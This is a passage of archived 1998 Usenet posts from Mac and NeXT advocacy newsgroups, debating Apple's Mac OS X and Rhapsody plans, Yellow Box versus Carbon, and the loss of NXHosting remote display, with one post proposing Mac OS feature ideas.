References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com>
In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Really, what you are saying is that this entire Mac OS 10 thing is no
> more than a publicity stunt desinged to hide the fact that Rhapsody as a
> consumer OS is almost two years late.
That's a fair way of putting it.
> If so, it's too stupid for words.
Not so! Nothing is too stupid for words. You just need a larger vocabulary.
> Mark me, Jobs has already started his decline at Apple. This bumble,
> along with the iMac fiasco, will set the stage for Jobs' soon
> retirement.
It's not reality that matters... it's perception of reality, and Jobs is
making what he is doing *look* good (most of the press seems to be buying
it).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: jmcvay@lynn.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: IDEAS: proposed improvements for the MacOS
Date: Fri, 15 May 1998 20:36:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ji90s$522$1@nnrp1.dejanews.com>
PLEASE REPLY via e-mail and post if you reply. . .
thank you. . .
I congratulate the macOS team on a wonderful job on
reinvigorating the MacOS. It was and still is the best
and you guys are leapfrogging even further ahead.
Again, congratulations. . .
the following ideas are just a few things i came up with
off the top of my head. please comment on them. . .
jason
DISCLAIMER: the following ideas are presented by
me—a scripting-only programmer who knows not how
feasible the following ideas are or even if they already
exist.
1) add to app framework
a) System-wide keys for:
i) selecting contiguous and non-contiguous items (i.e.
files, text)
ii) option key on launch to set startup prefs (i.e.
startup scripts, override system prefs)
b) recently used files capability
c) programs should be able to save and restore state a
la virtualPC
i) think how great it would be to have a save and
restore state functionality along with a auto start-up
and shutdown capability--you could leave the office at
5:00pm, it would turn itself off and in the morning at
9am when you get in, it's the exact same as when you
left it. . .
ii) and think about the computer/program crashing and
when restarted it goes to the same state as before
(you would have the option of using the option key on
startup to set options, such as restore state (which
may have caused the crash to begin with))
iii) we need clipboard restoration at a minimum. . .
d) find engine API
i) the find capability should be a uniform interface for
the user, especially considering the ever-fast growing
of info people have to weed through
ii) would have v-twin, simple and complex find/replace
and regular expression capabilities.
iii) the framework should be extendable to other apps
allowing capabilities like searching through only certain
styles, file type, object type, etc.
(1) should be undoable
(2) Should also be able to be used to query and return
result(s).
(a) all items found brought up in a window like bbedit's
batch find
(b) the cursor is brought to each matching items
iv) Examples:
(1) Upgrade installers finding target apps, ability to
return multiple results programs would pop back the
results to the user according to prefs
e) Callbacks
i) Programs should have callbacks for certain events
(1) on launch, on quit, close document, open document
ii) also, should allow scripts to be run automatically at
certain times (at x o’clock, every x minutes, after x
min. of inactivity, launch, quit)
f) backup API
i) for allowing programs to automatically backup their
documents in the background at user-specified times
g) caching/buffering API
i) for allowing fast, smart caching and buffering services
h) Undo API (alright! it'll be in macOS X! awesome!)
i) Ability to build our own application specific floating
palettes using the GUI with the program. . .sort of like
tear-off menus
j) calls to tell apps where to put their prefs, libraries,
docs, etc.
k) will allow for future moving of things (i.e. easily allow
using networking resources)
2) documents folder
a) preferences for programs should be kept here
b) application documentation should go in documents
folder
c) Prefs and all other custom-oriented (created) files
should be kept in the documents folder.
d) The idea is to keep as much customized info in one
place—both for easier navigating and for easier backup
and restoration
3) Filesystem
a) Versioning
i) Documents should not only include the ability to add
comments, but also versioning.
ii) Add an extra button in the replace file dialog called
something like (version existing file). This will keep the
original and add versioning/dating info to it
b) Virus prevention included
i) the macOS is already the easiest to use and one of
the most secure. it would be good to know that it's the
most inoculated OS out there, too. . .
c) whenever an alias is encountered that is broken, the
filesystem prompts for a reconnect of the alias with the
pointed-to file
4) applescript
a) Is there an applescript SDK to allow easy
embedding?
b) Add a scripting (with recording) menu to scriptable
apps.
c) Provide a GUI-builder for applescript
d) provide some mechanism for allowing other
languages (i.e. python) to build application classes from
appleevents for easy control within languages other
than applescipt
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:47:06 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981847060001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> Rhapsody as it was would have never made as a consumer OS since none of the
> big software companies endorsed it. That _forced_ Apple to do what they did
> on Monday.
Apple's past history and Apple's refusal to clarify how Apple would
position Rhapsody in the market are a big reason *why* they never endorsed
it.
> > If so, it's too stupid for words.
>
> No, you just don't understand.
He could say the same to you. This is a pointless way to debate.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:49:05 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981849050001@132.236.171.104>
References: <355B31C4.77DFDC17@spamtoNull.com> <B1809421-72A1E@207.217.155.114>
In article <B1809421-72A1E@207.217.155.114>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> The ultimate clue that you're clueless too is how you phrased that
> sentence. A more correct term would be "function calls". It would also be
> nice if Apple had a CEO who didn't leave me cringing at his word choice,
> but that's a different issue.
What do you expect? Gates is a businessman; Jobs is a PR man.
CEOs are not programmers. (Okay, so Amelio was a physicist, but looks
where he is now...)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Fri, 15 May 1998 17:47:25 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <355CC5FD.CF057A71@nstar.net>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Henry McGilton wrote:
[cut]
> From the viewpoint of hardware and software sales, NXHosting
> won't have any effect. Bit of a drag for those who *really*
> need the feature. I'm sure that somebody will come up with
> some clever way to obtain the effect. As for me, I'm not
> concerned that the lack of NXHosting will drive Apple out
> of business.
I have to disagree with this, Henry. I see uses for remotability every
day, both at home and at work. I develop my current application for work
on an HP-UX workstation, with all of its associated libraries, data
files, and other install accessories. When I need to demo the app for my
boss or other management, I can remotely display it on any Windows PC or
UNIX workstation in the building very easily.
I also have to take my turn at administering test servers every month,
and if I had to sit in the freezing-cold server room the whole time I
would rapidly go mixed-nuts. It's a real joy to be able to work from my
desktop, alongside my normal work, without setting foot outside my
office, and run all of the graphical apps I need to use for
administration purposes.
The downfall of this is that the X protocol is *heavy* and slow. I was
told by several people here many moons ago that NXHosting is capable of
usable and responsive remoting over a 2B+D ISDN line. That is something
the X protocol cannot do, and if NXHosting really is dead, I think it's
a huge loss for Rhapsody.
I can't really blame management, though; I'm sure the recent changes to
imaging made it impossible (difficult) to do otherwise.
MJP
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 21:07:32 GMT
Organization: MiscKit Development
Message-ID: <6jiaqk$6sf$4@news.xmission.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us>
A consolidated reply to a few messages...
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> In article <6jhvgs$6sf$1@news.xmission.com>, don@misckit.com wrote:
> > With the themes/appearance manager stuff, I get the impression that there
> > will be lots of room for customization of the look.
>
> Has Apple annouced that the themes and appearance stuff will apply to
> Yellow apps and have a Yellow API? (Seems plausible though, since
> otherwise if you changed themes only some of your apps would change
> their appearances.)
I'm not sure if it is announced anywhere, and I haven't time to track it down
if it does exist.
Logic tells me that it will probably be there. First and foremost is your
point: it is needed for consistency between Carbon and Yellow Box apps.
Additionally, it seems that the RDR Preferences app already supports a lot of
this--the ability to change rendering colors and fonts throughout the UI,
etc. Some is missing, but a lot is there. Also, I've noticed that there are
more and more user defaults (dwrites) available for customizing the GUI look.
So I suspect that this is the ultimate direction.
There is already *much* more flexible control over GUI rendering than there
ever was in [NO][EePp][EeXx][NnTt][Ss][Tt][Ee][Pp].
From spagiola@my-dejanews.com:
> Isn't the filebrowser supposed to be replacable?
That's what they've said.
> If so, how hard
> will it be to write a replacement that incorporates a shelf?
Don't know until they give us the API, but since Tomi's already written some
decent stuff with the MiscKit, we are probably already a good part of the way
there. So I figure that if Apple won't give us a shelf, so what. We'll give
ourselves one. Nyah, nyah, nyah.
And, finally, from John Kheit:
> But now I hear this DPS thing; that it's going away. Which I
> also could care less about on the specifics. Personally,
> dumping it to get rid of licensing problems seems like a good
> idea (or at least threat). But the ominous prospect of
> replacing with QuickDraw makes me ill. Whatever they replace
> it with, god help us, should be a ****UNIFIED IMAGING/PRINTING
> MODEL****. Meaning the EXACT same code that's used to render
> to screen will result in a print out with *NO* extra effort
> from the developer. If that happens, then fine, I could care
> less what they substitute, as long as it works decently.
You can calm down now. Read Scott Anguish's notes, which are far more
accurate and revealing than Ric Ford's abortive attempt at reporting. There
_is_ a unified imaging model, and it is PDF instead of PS. So, it isn't as
bad a thing as Ric's reporting would lead us to believe. It does have its
plusses and minuses...
One observation on this I haven't seen yet. I've seen, in two different
places, two comments, insinuations, what have you, that lead to an
interesting conclusion when juxtaposed.
First: Adobe was supposedly pusing Apple to kill DPS. We're not just
talking being a pain with the license, but they actually wanted it trashed.
So there's something political involved which isn't just about greed.
Second: Adobe is trying to move towards a world where all printers speak
PDF. As in, they are trying to move to a new standard...PDF and not PS. PDF
isn't standing still, and it certainly is becoming a viable way to pass
around documents. In many ways, more viable than PS. At least, that's what
Adobe wants you to think.
So....maybe Adobe wants PDF to be the new standard, and they pushed Apple to
make it happen using every means at their disposal, including unreasonable
licensing terms designed to kill DPS.
Maybe that's too conspiracy theory oriented, but it sort of makes sense to
me. Interesting to consider, anyway.
Do I like it? Well, the _only_ thing that really irks me about the change is
the loss of the client/server model that allows for redirecting the graphics
(a la NSHosting). I think that's a mistake and I'm very interested to see
how Apple's engineers are going to patch over this one. I perceive it as
moving the least common denominator down a notch.
I mean, even Microsoft is starting to put the remotability stuff into the OS
(Hydra, or whatever the heck they're calling it now, I forget the name). Not
the time for Apple to take it away, IMHO. But as I see it, that's the only
significant loss. The unified model is still there, the WYSIWYG is there.
The cool PS like effects are still there (no wonder Andy wasn't worried about
Create...it will work just fine with PDF).
I'll sure miss Yap, though. It was nice to have a little interpreted
scratchpad for experimenting with things before committing them to compiled
code... and importing .eps images will be tougher now. Guess we'll need to
have Frank Seigert sell us an EPS->PDF distilling image filter now...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Fri, 15 May 1998 17:51:16 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <355CC6E3.F30A0812@nstar.net>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
<6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Frank M. Siegert wrote:
[cut]
> VNC (see http://www.orl.co.uk/vnc ) could be ported if enough interest is
> there.
I don't really think VNC is a viable solution. VNC simply takes a
picture of the current framebuffer and sends it over the wire with your
choice of compression. Unlike a real remotability protocol, e.g. X, it's
inefficient and barely-usable over anything less than 10Mbps Ethernet.
MJP
"Far as I know, e.g. mean for example."
"I.e., e.g., f*** you."
-- Get Shorty
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:02:06 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981902060001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com>
In article <355B2F43.D365D2F1@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> At least you admit to the PR core of this whole thing....
Everything Jobs does is PR at the core.
You could come up with the most groundbreaking technological announcement
in the history of the industry and Jobs would be able to overhype it so
extensively that you could justifiably say the core of the announcement
was PR.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Date: Fri, 15 May 1998 14:03:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Message-ID: <joe.ragosta-1505981403530001@wil95.dol.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jfj8a$rku@newsb.netnews.att.com>
In article <6jfj8a$rku@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Eric King <rex@smallandmighty.com> wrote:
> >
> > Sure they do, and writing for Yellow is still a heap of work. The work
> >may very well be worth it in the long run, but who wants to trust Apple in
> >the long run. If Mac OS X ships in 1999, I wouldn't expect a mass Yellow
> >Box migration before 2001.
>
> Why should there be a "mass Yellow Box migration" ?
>
> There, hopefully, will be a mass migration to the version of MacOS
> that supports Yellow Box. The rest is upto you developers.
>
> A user could care less whether the application is written in Carbon
> or in the Yellow Box, or both. All that matters is how good the
> application is.
And how expensive it is.
Presumably, a YB developer can sell his/her app for less than a Carbon
developer and still make more money.
>
> There is a lot of "legacy" code around, so Carbon will be around for
> a long time. What the Yellow Box advocates need is
>
> a. platforms on which the Yellow Box runs to remain viable.
>
> In this, Carbon is going to be a great help, for
> the PPC end. Since Windows NT is going to be around,
> the Intel end is covered.
>
> b. enough successful Yellow Box applications to keep Apple
> interested in maintaining the Yellow Box.
>
> This is entirely upto ISVs. If the Yellow Box doesn't
> give them a competitive edge, and nothing shows up
> for a couple of years, then Apple would be justified
> in reconsidering support for the Yellow Box. If it
> takes a current large developer house to adopt
> Yellow Box in order to have a successful Yellow Box
> application, then the Yellow Box is not sufficiently
> differentiated from the competition to justify its
> survival on technical merits alone.
I don't see this as a problem. There are over a hundred YB apps already
and it's not even shipping. That's about 20 times as many apps as Win95
had on the day it was released.
I think there will be a convergence. The time frame depends on how quickly
developers start using YB. If it happens soon enough, Carbon could be
phased out.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 15 May 1998 14:26:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1505981426030001@wil136.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104>
In article <ericb-1405981148530001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <andyba-ya02408000R1305981540240001@news>,
> andyba@corp.webtv.net (Andy Bates) wrote:
>
> > In article <6jagk8$sol$1@xmission.xmission.com>, Kristofer Jon Magnusson
> > <kris@xmission.xmission.com> wrote:
> >
> > > Except that on Sunday, developing for Apple on Intel had a future. Today
> > > it does not.
> >
> > Why not? Rhapsody for Intel is still coming out as well. Recompiled
> > Rhapsody apps will still run both on Rhapsody for PowerPC and Rhapsody for
> > Intel. And Rhapsody apps will still run on Mac OS X. Again, what's the
> > problem?
>
> Because that is the *only* release of Rhapsody for Intel that we'll ever see?
Says who?
>
> Apple has made it clear that they are combining MacOS 8 and Rhapsody to
> create *one* OS, MacOS X. MacOS X will be Apple's only OS, and they have
> *clearly* stated that it will not run on Intel-based computers.
Actually, Mac OS X is more like a version of Rhapsody with Carbon added.
Just like the current situation:
Rhapsody/Intel Mach + YB
Rhapsody/Mac Mach+YB+Blue Box
IF MacOS X replaces Rhapsody (I don't think it will-more likely MacOS X
will be the client version and Rhapsody will remain the developer/server
version), then you'll have:
Rhapsody/Intel Mach + YB
Rhapsody/Mac Mach+YB+BB+Carbon
Not very different.
>
> I am still unsure about what's going to happen to YB on Windows. Like
> Rhapsody, certainly we'll see an initial release. But from what I've
> heard, Apple said nothing more about YB/Windows that it did about
> Rhapsody/x86, and we know where the latter is headed... to the scrap heap.
Why? It was a MACINTOH WWDC. Why should they talk about Windows? They've
stated over and over and over that YB will run on Windows. Why keep
repeating themselves to an audience that isn't interested in Windows?
IF Apple says YB won't run on Windows, then you have a point. Until then,
their official statement is that it will.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 17:40:05 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981740050001@132.236.171.104>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <ericb-1105981859560001@132.236.171.104> <35579cfb.0@news.depaul.edu>
In article <35579cfb.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
>
> >True, but you have to admit that their track record is hardly inspiring.
>
> Whose track record?
>
> Jobs & Tevanian? Seems to me they're kicking ass. Bigtime.
>
> Who are you talking about?
>
> Do they even WORK at Apple any more? Probably not. So how
> exactly does their performance impact Apple's performance now?
>
> I bet the last person to live at your place was a real bastard.
> That makes you a bastard too, right?
The Apple BOD is what keeps changing the CEOs and sanctioning the strategy
shifts.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:09:29 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981909290001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu> <slrn6lmkpc.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6lmkpc.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> The fact that Steve Jobs was seemingly converted to be ''pro Microsoft''
> would clearly demonstrate just how excessively powerful Microsoft has
> become.
>
> It would send a powerful message to the DOJ: "SUBPOENA ME NOW DAMMIT!"
>
> It would be a really good sleazy trick. Especially if an anonymous
> Apple insider just happened to leak documents to the government....
Spindler would be better. I'd love to see somebody investigate the claims
that Microsoft would stop Mac development unless Apple dropped OpenDoc.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:30:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jic5s$9jj$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <see-below-1305982038310001@209.24.241.190> <355C846C.1C4327A0@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > How can it be "late" when this is the first time Apple ever gave any
> > indication such a thing might ever exist?
>
> Will you guys puh-leas-s-s-se make up your minds? Please?....:) With a
> cracker on top?
> You say "Mac OS 10" is Rhapsody renamed. If it is, then it's 18 moths
> late (if it's released in Q3 1999.)
Mac OS X is Rhapsody _2.0_ renamed. It includes features that were
never promised in any version of either Rhapsody or Mac OS until
Monday. If it doesn't ship in Q3, 1999, _then_ it will be late.
Rhapsody _1.0_ will ship this fall. This has the features that had been
promised for Rhapsody Unified, and as such is pretty much on schedule.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Fri, 15 May 1998 14:21:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1505981421490001@wil136.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
In article <ericb-1405981303550001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <6jcf2d$iu2@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>
> > Well, Apple is promising to deliver on this -- i.e., Carbon.
> > What is everybody's problem ?
>
> The death of YB as a cross-platform solution. If Apple were going to
> announce long-term YB Windows support or long-term Rhapsody/Intel support,
> I think they would have announced it at WWDC. They did not. Read between
> the lines. What does this tell you?
It says that they didn't feel like repeating themselves.
Cross-platform support has always been a key feature of the Yellow Box.
It's still there and is going to stay there. Until someone finds a
statement from Apple saying otherwise.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 23:33:10 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6jicam$o39$1@larry.admin.phil.uu.nl>
References: <andyba-ya02408000R1405981545450001@news>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Andy:
>Why are you worried? Don't you have DR2 now?
No. When I saw DR1, I concluded Rhapsody wasn't going to be
of any interest soon (it looked a mess to me.) So I decided
not to follow the developer versions to closely and just to
wait for the first public version (January 1998, wasn't it?)
>And isn't Rhapsody coming out in September?
But the tune changed from "wait for Rhapsody!" to "wait for
Mac OS X!" I can't sell that.
The idea was to buy, somewhere in the first quarter of 1999,
new Macs for everyone, drop Mac OS old style everywhere, and
change to Rhapsody on all machines. Given the current
developments, _well,_ I don't think that will be _too_ good
an idea... (please tell me I'm wrong.)
Freek
(everyone his own blue box! yeeeaaah! [waves arms])
From: eviltofu@rocketmail.com (Jerome Chan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:05:41 -0400
Organization: TofuSoft
Message-ID: <eviltofu-1505981905420001@viking202-50.dhcp.csuohio.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <see-below-1305982038310001@209.24.241.190> <355C846C.1C4327A0@spamtoNull.com>
In article <355C846C.1C4327A0@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Matthew Vaughan wrote:
>
> >
> > How can it be "late" when this is the first time Apple ever gave any
> > indication such a thing might ever exist?
> >
>
>
> Will you guys puh-leas-s-s-se make up your minds? Please?....:) With a
> cracker on top?
>
> You say "Mac OS 10" is Rhapsody renamed. If it is, then it's 18 moths
> late (if it's released in Q3 1999.)
It's late. It Rhapsody CR1 will be released in Summer/Fall 98. Then the
next release will be MacOS X.
From: eviltofu@rocketmail.com (Jerome Chan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:15:17 -0400
Organization: TofuSoft
Message-ID: <eviltofu-1505981915180001@viking202-50.dhcp.csuohio.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com> <355C787A.2B058D89@milestonerdl.com> <6jibt6$9ch$1@nnrp1.dejanews.com>
I'd like to see an Intel Carbon layer. This should induce lots of Mac
developers to rev up to Carbon.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 19:22:29 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jiinl$bg2$1@crib.bevc.blacksburg.va.us>
References: <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104>
In article <ericb-1505981808160001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jg26g$89f$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > In article <B180C661-12F863@207.217.155.114>, "Brad Hutchings"
> <brad@hutchings-software.com> wrote:
> > > Someone starting a new app should definitely consider YB _when MacOSX
> > > ships_. Right now, however, if you start a new app with hopes of bringing
> > > it to market by fall, you might be taking a significant risk writing to YB.
> > Why is that? YB will be shipping in the fall.
> When it ships is not what's relevant as far as software sales for programs
> using YB. What's important is when it gets into end users' hands in mass
> quantities, which probably won't happen until OS X ships (and trying to
> figure out when that will be is risky).
There isn't any more of a risk than there was before, and people were still
planning to develop for YB. Of course, I agree, the market won't become
large until after OS X ships.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 19:29:56 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jij5k$bgm$1@crib.bevc.blacksburg.va.us>
